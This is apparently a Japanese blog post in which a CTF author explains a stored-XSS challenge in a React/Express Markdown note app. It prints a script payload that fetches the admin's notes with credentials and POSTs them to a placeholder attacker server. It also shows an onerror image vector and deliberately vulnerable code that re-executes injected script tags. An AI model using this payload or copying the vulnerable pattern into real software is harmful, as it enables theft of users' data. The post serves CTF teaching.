チーム内CTFで作問した話 - XSS編

この記事は [m1z0r3 Advent Calendar 2018](https://qiita.com/advent-calendar/2018/m1z0r3) の8日目です。

前回 [チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita](https://qiita.com/koki-sato/items/7b78f9ec139230b95beb) という記事を書きましたが、その続きです。

- https://github.com/koki-sato/proto-note

## 問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/86238/c8354ae5-b957-36d3-360e-363da90e5915.png)

ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています（当日は問題文にそのことが書いてありました）。

## 解答

普通にアプリケーション上のエディタで XSS を試しても `<script>` タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 [Burp suite](https://portswigger.net/burp) でリクエストを書き換えるなり、 [Postman](https://www.getpostman.com/) 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

```html
<script>
  fetch('/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>
```

## ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

**「あれ、XSS できない！？」**

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき（ `/notes/:uuid` にアクセスしたとき）に以下の手順を踏みます。

1. Express によって index.html が返される（それにより webpack により build された index.js が読み込まれる）
2. index.js が実行され、 React が DOM を生成
3. ノートの内容を取得するために axios で `/api/notes/:uuid` を叩く（その間は Loading ... が表示される）
4. API の結果を元に再度 React がノートを描画する

まず、基本的に **React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる** ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した（Markdown を変換した） HTML を表示することができません。

そこで、React では `dangerouslySetInnerHTML` というのを用いて HTML （の文字列）から DOM を生成します。ここで私は勘違いをしていて、てっきり `<script>` も実行されると思っていたのですが、 **`dangerouslySetInnerHTML` で挿入した `<script>` は実行されません。[^1]**

どうやら [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#Security_considerations) によると、 `Element.innerHTML` で `<script>` を追加した場合には実行されないようです。ここでさらに勘違いをして、 **実際には MDN のページにあるように `<img src='x' onerror='alert(1)'>` などで XSS できる** のですが（なので `dangerouslySetInnerHTML` を使うときは XSS に注意）、XSS できないと思い込んでしまい四苦八苦します。

## XSS させるためにした工夫

さて、実際には `onerror` 等で XSS は可能（つまり問題として成立済み）なのですが、気がついていなかったので、ノートの本文中の `<script>` を実行できるように頑張りました。

実は `element.appendChild()` を用いると `<script>` を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の `<script>` をすべて探し出し、 `appendChild` で最後にまとめて追加しました。

```typescript
const fragment: DocumentFragment = document.createDocumentFragment()

const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)

const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
  const element = document.createElement('script')
  element.type = 'text/javascript'
  element.async = true
  if (script.src) element.src = script.src
  element.innerHTML = script.innerHTML
  fragment.appendChild(element)
}

this.state.instance.appendChild(fragment)
```

これにより、無理やりですが、ノートに書かれた `script` を実行できるようになりました。

[^1]: https://github.com/facebook/react/issues/8838